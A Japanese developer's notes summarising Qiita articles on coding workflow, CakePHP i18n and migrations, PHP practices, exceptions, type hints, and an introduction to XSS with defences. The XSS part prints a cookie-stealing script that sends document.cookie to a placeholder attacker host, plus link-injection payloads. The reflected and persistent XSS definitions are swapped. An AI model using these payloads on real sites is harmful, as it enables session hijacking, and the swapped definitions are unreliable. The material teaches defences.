「 品質の高いコードを素早く書くために、いつも意識している手順をまとめてみた」という記事を読んでのメモ

品質の高いコードを素早く書くために、いつも意識している手順をまとめてみた - QiitaというQiitaの記事を読んだのでメモ。

要件を明確にする

何のために実装を行うのかを事前に明確にすることで、プログラミング中は何も考えなくて良くなる。
やることとやらないことを明確にしておくことで余分なコードを書かなくて良くなる。
この段階で成果物のイメージを明確にしておく。

ポイント

成果物のイメージを明確にする。

フロー設計

全体の大まかな処理のフローを考える。 ここではどんな流れで処理が行われるかの大体の流れでOK。

事前調査

コードの改修の場合は、特にこのフェーズが大切。 実装の前に、躓きそうなポイントを調査しておく。

ポイント

実装する前に躓きそうなポイントを調査する。

詳細設計

フローを実際に実装する時に、コードベースまで落とし込んで考える。
特に詰まりそうな所はコピペで済むくらい実装方法を事前に考えておくと後で詰まらなくなる。
ただし、既に何をやるかは明確なコーディングや使ったことの無いライブラリの検証などは 先に手をつけてしまった方が早い場合が多いのでその場合は先に実装をする。

ポイント

詰まりそうなところはコピペで済むくらい実装方法を事前に考えておく。

実装

最初から細かい所はこだわらずにフロー設計で洗い出した全体の流れを全て早く実装する。
難易度の高い実装から先に手をつける。

リファクタリング

フロー全体が実装できたら、コメントをつけたり気になる箇所をリファクタリングする。

ポイント

リファクタリング...分かりづらい部分を分かりやすくする(書き方を変えたり、コメントを付けたり)

単体テスト

ここまで来たら、自分で要件が満たせているか動作テストを行う。
よく実装しながらこまめにテストしようとしてしまいがちだが、それだと知らないうちにかなり時間を使ってしまうので後でまとめてテストをする。

今後改善したいこと

要件確認が曖昧にすすめてしまうことがまだ多いので、最初の時点で迅速に固められるようにしていきたい。
チケットの粒度を2時間単位ぐらいに分割して手をつけられるようにしたい。

その他

メリハリをつけるのは大事だな。5分オーバーとかでも積もると最初やりたかったタスクができなくなったりする

ポイント

時間はオーバーしないようにする

参考

品質の高いコードを素早く書くために、いつも意識している手順をまとめてみた - Qiita

CakePHPを多元化するという記事を読んで

CakePHPを多言語化する - QiitaというQiitaの記事を読んだので、自分なりにまとめておこうと思う。

__()で書く

基のコード

<h2>Popular Articles</h2><h2>Popular Articles</h2>

多言語化したコード

<h2><?= __('Popular Articles') ?></h2>

他にもd(), n()もある。

POTファイルを作る

Console/cake i18n extract

を実行すると、Localeディレクトリの下にdefault.pot等のPOTファイルができる。

Poeditで翻訳ファイルを作る

作ったPOTファイル(default.pot)を元に翻訳ファイルを作る。
ソーステキストに対応する翻訳を入力するだけで良い。

ファイルはsrc/Locale以下に置く。
各言語用のサブファイルは以下のようになっている必要がある。

/src
    /Locale
        /en_US
            default.po
        /en_GB
            default.po
            validation.po
        /es
            default.po

Config.languageの設定

ブラウザの情報を基に言語が判断されている。
英語に変えたい場合は、

Configure::write('Config.language', 'eng');

これで英語に翻訳されたものが表示される。

参考

CakePHPを多言語化する - Qiita
CakePHPの呪文 __('文字列') - Qiita
国際化と地域化

CakePHP3で楽なマイグレーション 覚え書き

CakePHP3で楽なマイグレーション - Qiitaの記事を読んだので、 自分なりにまとめておこうと思う。

CakePHP3マイグレーションの基本

DBAの仕事

1.DB、テーブルを作る
DB、テーブルを用意しよう。
普通に作って大丈夫

2.一発目のマイグレーションファイルの作成
一発目のマイグレーションはコマンドで作ろう

bin/cake bake migration_snapshot Initial

CakePHP3のドキュメントURL(http://book.cakephp.org/3.0/ja/migrations.html#id14 )

3.テーブル定義を変更したらやる事
テーブル定義を変更したら、マイグレーションファイルを作ろう
子万dので 、今のDB状態と直前マイグレーションを行った際のDBの状態を比較して差分のマイグレーションファイルを作成できる

bin/cake bake migration_diff add_hogehoge_fugafuga

↑これでテーブル定義を変更した内容で、マイグレーションファイルを作成できる

DBを使いたい人がやる事(プログラマ)

1.テーブルをまだ何も作っていない場合
DBAが作ったマイグレーションからテーブルを作成できる

bin/cake migrations migrate

DBAががマイグレーションを作るたびにこのコマンドを行う事で、テーブル情報を同期し続けることができる。

2.すでにテーブルがあり、DBAと同じ状態の場合
すでにテーブルがあり、DBAと同じ場合は、
以下のコマンドで、「今のDBの状態はマイグレーションを全て反映した状態である」という状態を作れる。

bin/cake migrations mark_migrated

「phinxlog」というテーブルが作成され、その中にマイグレーションしたログが作成される。

3.DBAの持っているテーブルの状態と違う場合
DBAの持っているテーブルの状態と違う場合は、2パターンの対応方法がある。
・一度全部消してmigrateする ・alter tableや、create tableを行って、DBAの状態に合わせる

前者の場合は、一度まっさらにして、マイグレーションを全て実行する。

bin/cake migrations migrate

後者の場合は、DBAと同じ状態になっているので、Cakeをだます。
(また以下のコマンドを使う)

bin/cake migrations mark_migrated

参考

CakePHP3で楽なマイグレーション - Qiita

PHPを使う上で忘れてはいけないこと

初心者を戒めるPHP - Qiitaという記事を読んだので、自分なりにまとめておこうと思う。

PHPDocは必ず書く

他人が容易に応用できるように型を明示的にする。
ヘッダだけを読んでメソッドの仕様が理解でき、またはコードを読む助けになるようなコメントを書こう。

実装に取り掛かる前に、入力(引数)と出力(返り値)について、必ず型を決めておこう。

/**
 * 入力値をFizzBuzz文字列化する
 *
 * @param  int    $num
 * @return string FizzBuzz文字列
 *
 * このメソッドは $num が3の倍数なら"Fizz"、5の倍数なら"Buzz"、7の倍数なら"Nass"、
 * これらの数の公倍数ならば、少ない数から該当した順に連結して返す。
 * どの数の倍数でもなければ、 $num を10進数として文字列化した値を返す。
 *
 *     toFizzBuzzNass(1);  // => "1"
 *     toFizzBuzzNass(3);  // => "Fizz"
 *     toFizzBuzzNass(15); // => "FizzBazz"
 *     toFizzBuzzNass(21); // => "FizzNass"
 *     toFizzBuzzNass(35); // => "BazzNass"
 */
function toFizzBuzzNass($num)
{
    static $fizzbuzz_table = [
        'Fizz' => 3,
        'Buzz' => 5,
        'Nass' => 7,
    ];

    $str = '';
    foreach ($fizzbuzz_table as $s => $n) {
        if ($num % $n === 0) {
            $str .= $s;
        }
    }

    return ($str === '') ? "{$num}" : $str;
}

PHPは「配列または文字列を返す」という事ができる。(PHPDocには@return array|stringと書く)
しかし、そうすると受け取り側でis_array()チェックなどをする必要がある。
面倒なので、型をどちらかに統一するか、必要に応じてメソッドを分割したほうが面倒くさくない。

Composerを導入しよう

PEARのライブラリが必要ならComposerを使ってインストールできる。
zipをダウンロードしてファイうrをinludeするのは面倒。
Composerなら勝手にオートロードしてくれる。

error_reporting(E_ALL)しよう

PHPは未定義変数や配列の存在しないインデックスを参照するとE_NOTICEエラーを出す。
このエラーはバグの温床になる(開発環境では出るようにしておこう)

フレームワークを利用しよう

フレームワークの作法にのっとってコードを書けば、たいていの問題はフレームワークがどうにかしてくれる(セキュリティとか脆弱性とか)

テンプレートとロジックは分けよう

画面を描画する機能とそれ以外を明確に分けよう。
例えば、「データベースの内容をHTMLのtableで表示する」プログラムが書きたい場合は、
「データベースからデータを取り出して配列にする」部分と「配列をHTMLのtableで表示する」部分を分ける。
PHPはてーんプレートエンジンじゃない。
自動エスケープ機能があるTwigとかBladeとかを使うと、PHPより多少は安全になる。

PHPしかファイルに書かない場合は、最後に?>は書かないようにしよう。

安易にキャストはしてはいけない

(int)とかintval()を書いてはいけない。
PHPでは"3"==3がtrueになる。

$a = [];
$b = $a + 1; // この場合はFatal errorになるが、

$b = (int)$a + 1; // これはエラーにならない

上記のようにキャストしたせいで、バグに気付けなくなってしまう場合がある。

リファレンス(参照)はやめておこう

引数のリファレンス私はやめておこう(ちゃんと返り値で返すようにしよう)
foreachのリファレンス、リファレンス代入とかはやめておこう。

<?php

// だめなパターン (リファレンス使用)
$ary = range(1, 5);
foreach ($ary as &$a) {
    $a = $a * 2;
}
var_dump($ary); //=> [2, 4, 6, 8, 10]

// 許されるパターン (リファレンス不使用)
$bry = range(1, 5);
foreach ($bry as $i => $b) {
    $bry[$i] = $b * 2;
}
var_dump($bry); //=> [2, 4, 6, 8, 10]

コードの一番下に$a=100; var_dump($ary);を追加してみよう。  ←多分代入されてる

一見して未使用変数を使っているように見えるので、使わないようにしよう。

継承も安易に使わないようにしよう

クラスの差分によるプログラミングは他人に把握してもらうのが難しい。
interfaceと必要があれば以上を使用することでシンプルに実現できる。

array_map

// array_mapを使ったパターン
$ary = array_map(
    function ($n) { return $n * 2; },
    range(1, 5)
);
var_dump($ary);

// foreachを使ったパターン
$bry = range(1, 5);
foreach ($bry as $i => $b) {
    $bry[$i] = $b * 2;
}
var_dump($bry); //=> [2, 4, 6, 8, 10]

下のコードの方が分かりやすい。

foreachが嫌ならnikic/iterを使って徹底的にやろう。

<?php
use function iter\fn\operator as op;

$ary = iter\toArray(iter\map(op('*', 2), iter\range(1, 5)));

foreachを使っておくのが無難

参考文献

初心者を戒めるPHP - Qiita

PHPの例外について 覚え書き

PHPの例外 - Qiitaという記事を読んだので、自分なりに

PHPの例外とは

 PHP本体が持つ定義済み例外
 PHPに標準でバンドルされるStandard PHP Library(SPL)の例外のSPL例外

SPLは標準で組み込まれている
 →PHPの機能として標準的に使う事ができる

SPL例外

 守るべき3つのルール
 1.例外は例外の時に使用する
 2.制御構造のために例外を用いない
 3.値を渡すために例外を用いない
ようするに「例外は真に例外的な時にのみ用いるのであって、通常の制御のために用いてならない」

例外の例
・データベースが接続できない
・Web APIをアクセスできなかった
ファイルシステムのエラー
・テンプレートファイルや設定ファイルのパースエラー

独自の例外を作ろう

throw new RuntimeException("$fileがありません");   // OK
throw new FileNotExistsException($file);        // Better

RuntimeExceptionをそのまま使うよりは独自の例外を作った方が良い

LogicExceptionとRuntimeExceptionの区別

・LogicException :コンパイル時またはアプリケーション設計で検出できる例外
例) 存在しないメソッドを呼び出そうとしている時とか
・RuntimeException :実行時のみ検出できる例外。すべてのデータベース例外のベースクラス
例) 外部ファイルにアクセスする時とか

OutOfRangeExceptionとOutOfBoundsExceptionの区別

・OutOfRangeException :無効なインデックスを要求した場合にスローされる例外。
 コンパイル時に検出しなければならない
 コードのみで範囲が決定してそれに違反するもの。
 要するにバグ
・OutOfBoundsException :値が有効なキーで無かった場合にスローされる例外。
 コンパイル時には検出できないエラー
 実行時にデータが外部から読まれてその結果無効なキーが使われるもの等、
 実行時に範囲外が判明するのがOutObBoundsException。
 実行条件によってスローされる例外

参考

PHPの例外 - Qiita

タイプヒンティング(型宣言)についてのまとめ

PHPのタイプヒンティング(型宣言) - Qiitaという記事を読んだので、自分なりにまとめておこうと思う。

タイプヒンティング(型宣言)とは

関数に渡す引数が、特定の型であることを関数の宣言時に要求できるようになる。

タイプヒンティングのメリット

1.引数の型が分かりやすい
 引数の隣に明示的に型が書いてあるので分かりやすい
2.エラー検知
 違う方を引数に渡した場合、関数宣言時にCatchable fatal errorが発生するため、原因の特定が楽。しかもcatch可能。
3.無駄な型判定のコードを書かなくて済む
 関数の宣言時に型判定をしてくれる

PHPのタイプヒンティング

現段階ではすべての型を指定できるわけでは無い。
PHP5.4まではself, array, callable, クラス名・インターフェイス名のみ
PHP7からはbool, float, stringの指定ができる。

クラス名・インターフェイス名の指定

class Test
{
    private $hoge;

    public function __construct(Hoge $hoge = null) // タイプヒンティング
    {
        $this->hoge = $hoge ?: new Hoge();
    }
}

この場合、Hogeクラスのインスタンスでなければエラーになる。
しかし、引数の部分で以下のように指定しているため、nullの場合はエラーが出ない。

Hoge $hoge = null

PHP7のタイプヒンティング

弱い型検査と厳密な型検査の2つのモードがある。
弱い型検査がデフォルトになっているので、厳密な型検査を使いたい場合は以下をファイルの先頭に入力する。

declare(strict_types=1);

弱い型検査

function foo (float $bar){}
foo(3); // OK
foo(‘123’); // OK
foo(‘abc’); // NG

数値型文字列であれば、暗黙的に型変換してくれる。

厳密な型検査

他の静的型付け言語の経験者が望んだ機能。

function foo(int $bar) {
    echo $bar;
}

上記の関数に数値や文字列を渡すといった、プログラマの間違いを発見できるようにしてほしい。という考え方である。

PHPが提供している厳密な型検査は以下の通り

function foo(int $bar) {}
function fizz(float $buzz) {}
 
foo(123); // OK
foo(‘123’); // NG
fizz(123); // OK

数値型文字列でもint型ではないので、NG。

最後に

PHP7になり、弱いタイプヒンティングと厳密なタイプヒンティングの2つを選べるようになったが、どちらかだけを使えれば良いというわけではない。
自分が使っていないタイプヒンティングが使われているコードを見る、もしくは修正する機会があるだろう。
そういう場合のためにも、やはりどちらの知識もしておく必要がある。
もしかしたら、「このコードを厳密なタイプヒンティングで書き換えてほしい」という事も、無いとは言えない。

今のうちに知識を蓄えておこうと思う。

参考

PHPのタイプヒンティング(型宣言) - Qiita

【導入決定!】PHP7で実装されるスカラー型宣言とは? | 東北ギーク

初心者向け タイプヒンティングとはなんなのかというお話

スクリプトインジェクション入門 覚え書き

スクリプトインジェクション入門 - QiitaというQiitaの記事を読んだので、自分なりにまとめておこうと思う。

スクリプトインジェクションとは

Webサーバにスクリプトを含むリクエストを送信して、ページ内にスクリプトを挿入する攻撃の総称。

この記事では大きく3種類に分けて説明している。

1.反射型
攻撃者がスクリプトを含むリクエストを送信してサーバに保存させる。保存されたスクリプトを組み込んだページを訪れた第三者にスクリプトを実行させる攻撃。
別名:Type-1、Persistent、Stored XSS

2.持続型
第三者にスクリプトを含むリクエストを送信させる。送信したスクリプトがページ内に差し込まれる脆弱性を利用して、リクエストを送信したページ上でスクリプトを実行させる攻撃送信したスクリプトはサーバに保存されない。
別名:Type-2、Non-Persistent、Reflected XSS

3.DOMベース
第三者にスクリプトを含むリクエストを送信させる攻撃だが、反射型との違いは、クライアントサイドスクリプト脆弱性を利用していること。
別名:Type-0、DOM Based XSS

クロスサイトスクリプティング(XSS)は抗議的な意味ではスクリプトインジェクション、狭義的俳味では反射型の事を指したりする。

実際に攻撃してみる

この記事では、自分で掲示板を用意し、それに攻撃を試みている。

掲示板はコメント掲載部分と投稿フォームが同じページにある簡易なもの。
投稿すると同じURLにPOSTして投稿が反映されるようになっているため、反射型の確認が行えるようになっている。

ケース1.コメントにスクリプトを挿入する

コメント表示部のPHP
<div class="text">
<?php echo $comment["text"]; ?>
</div>

表示部分がこんな作りだと、

こんにちわ!わたしトモチャン、よろしくね!(゚∀゚)ノ アヒャ
<script>
var img = document.createElement('img');
img.src = 'http://attacker/spacer.gif?c=' + encodeURI(document.cookie);
document.body.appendChild(img);
</script>

こんなコメントが入力されると

コメント表示部の実行結果
<div class="text">
こんにちわ!わたしトモチャン、よろしくね!(゚∀゚)ノ アヒャ
<script>
var img = document.createElement('img');
img.src = 'http://attacker/spacer.gif?c=' + encodeURI(document.cookie);
document.body.appendChild(img);
</script>
</div>

こんな出力になる。

有効なスクリプトとしてブラウザに解釈される事になるので、第三者がこの投稿を見るとスクリプトが実行され、タグのURL経由でクッキーが攻撃者が用意したサーバに送られる。

クッキーを手に入れると色々なことが出来るようになる。
クッキーの中にセッションIDが入っていれば、攻撃者はセッションを乗っ取ることができる。
パスワードの再設定を促すフォームを表示してフィッシングでパスワードを奪う。
定期的にXHRを回してDoS攻撃をさせる。
何でもできる。

対策

攻撃を防ぎたい場合は、htmlspecialchars関数でタグに使われる文字をエスケープする。

使い方は以下の通り

コメントのエスケープ
<div class="text">
<?php echo htmlspecialchars($comment["text"], ENT_QUOTES, 'UTF-8'); ?>
</div>

第二引数以降は省略できるようだが、セキュリティ上あまり良くないので書いておいた方が良いらしい。
理由としては、PHPはバージョンによって規定値が変わってしまうため。
第二引数はENT_QUOTESにしておくのが無難。
第三引数の文字コードは、バージョンによってデフォルト値が変わるので、明治鄭に指定しておくべき。

ケース2.リンクにスクリプトを挿入する

リンク表示部のPHP
<a href="<?php echo $comment['url']; ?>">リンク</a>

こんなリンクの作り方をしていると

送信するURL
#"><script>
alert('crack');
</script><a name="xss

こんな入力が来た時

リンク表示部の実行結果
<a href="#"><script>
alert('crack');
</script><a name="xss">リンク</a>

こんな出力になる。

これでもページにスクリプトが挿入できてしまう。

対策

入力をエスケープする

URLの表示部分
<a href="<?php echo htmlspecialchars($comment['url'], ENT_QUOTES, 'UTF-8'); ?>">リンク</a>

これだけだと、<script>タグはエスケープされるが、スクリプトを実行させるURLが入力された場合は対策できていない。

送信するURL  
javascript:alert('crack')  

http:やftp:だけでなく、URLスキームはjavascript:も指定できる。
リンクをクリックしたときにスクリプトが実行されるようになる。

厳密に値を入力検査する。
エスケープだけでなく入力検査を行う。

以下の入力検査を行うと、javascript:で始まるパターンをブロックできる。

function isUrl($url) {
  if (preg_match('/javascript:/', $url)){
    return false;
  }
  return true;
}

しかし、危険なURLを排除するエラーチェックの方法では防ぎきることはできない。

リンクとして認めるURLかどうかを調べるホワイトリスト方式が良い。

以下はhttp://またはhttps:///で始まるかどうかを判断している。

function isUrl($url) {
  if (!preg_match('/\Ahttps?:\/\//', $url)) {
    return false;
  }
  return true;
}

このチェックにさらにfilter_var 関数による URL チェックを入れても以下のような危険なURLが通ってしまう。

ラベルにスクリプトタグを含んでいる
http://attacker/#"><script>alert('crack')</script><a name="xss

エスケープも必ずやるようにするべきだろう。

XSS対策で共通する事

バイナリセーフではない関数を使わない

文字列の中にあるNULLバイト文字を文字列の終わりと見なすバイナリセーフでない関数がある。
それを利用して、パラメータにNULLバイト文字を混ぜるNULLバイト攻撃という手法がある。
NULLバイトを混ぜる事で、入力チェックをすり抜けることができる。
古いPHPの場合はバイナリセーフでない関数が使われている可能性があるので、注意。
新しいバージョンのPHPを使うべき。

インラインスクリプトにユーザの入力を展開しない

以下のようなものはインラインスクリプトである。

  • イベントハンドラのコード
  • scriptタグ内のコード
  • style属性内のコード
  • styleタグ内のコード

これらの指定場所にはJavaScriptCSSのコメントブロックが使える。
記述の幅が広く対策が難しいので、ユーザの入力展開を許すと非常に厄介。

現在、Chrome拡張開発では、インラインスクリプトが完全に禁止されている。

文字コードを指定する

文字化けを利用したスクリプトを混入される可能性があるので、適切な文字コードを指定しておくべき。

属性の値をダブルクオートで囲む

ダブルクオートで囲まない場合、エスケープしてもイベントハンドラスクリプトを挿入されてしまう。
シングルクオートも許されているが、htmlspecialcharsはシングルクオートがエスケープ対象になっていない。
使い方を間違えたとき危険。

積極的に予防する

iframeでサンドボックス化する

HTML5から追加されたサンドボックス機能を使うと、ページ内の<iframe>だけスクリプトが実行できないようになる。

<iframe src="commentList.php?p=1" sandbox="allow-forms"></iframe>

このように書くことで、iframe内のスクリプトの実行を禁止できる。
フォーム送信だけが許可されている。

サンドボックスは最近のブラウザでなければサポートされていないので注意

HTTPレスポンスヘッダでサンドボックス化する

iframeでサンドボックス化する方法以外にもう一つサンドボックス化する方法が提供されている。 これも新しい機能。

Content-Security-Policyというレスポンスヘッダを使って許可する動作やリソースをホワイトリスト方式で指定する。

このヘッダを指定することで、ほとんどの攻撃を防ぐことができる。
便利だけど手間がかかる。(ページ全体のリソースや動作についてホワイトリストで指定)

被害を軽減する

スクリプトにクッキーを読ませないようにする

// 設定を変えて PHP から発行するクッキーすべてを JavaScript から隠す場合
ini_set('session.cookie_httponly', 1);
// クッキーごとに個別に設定する場合(一番後ろの引数)
setcookie("key", "value", 0, "/", null, FALSE, TRUE);

クッキーにhttpOnly属性を付けることで、挿入されたJavaScriptからPHPで発行されたクッキーを取り出せなくなる。

TRACEメソッドを無効にする

httpOnly属性で指定したクッキーを読みだす方法
HTTPのメソッドにはGET/POST/HEAD以外にTRACEというメソッドである。
これを使うと、リクエストヘッダをそのままレスポンスボディに格納して応答できる。
スクリプトで使われると困るので、WEBサーバの設定でTRACEメソッドを無効にするのが無難

無効にする方法は以下の通り

httpd.confの場合
TraceEnable Off

最近のブラウザではIE6あたりくらいしか実行できる環境は無いらしい。

参考

スクリプトインジェクション入門 - Qiita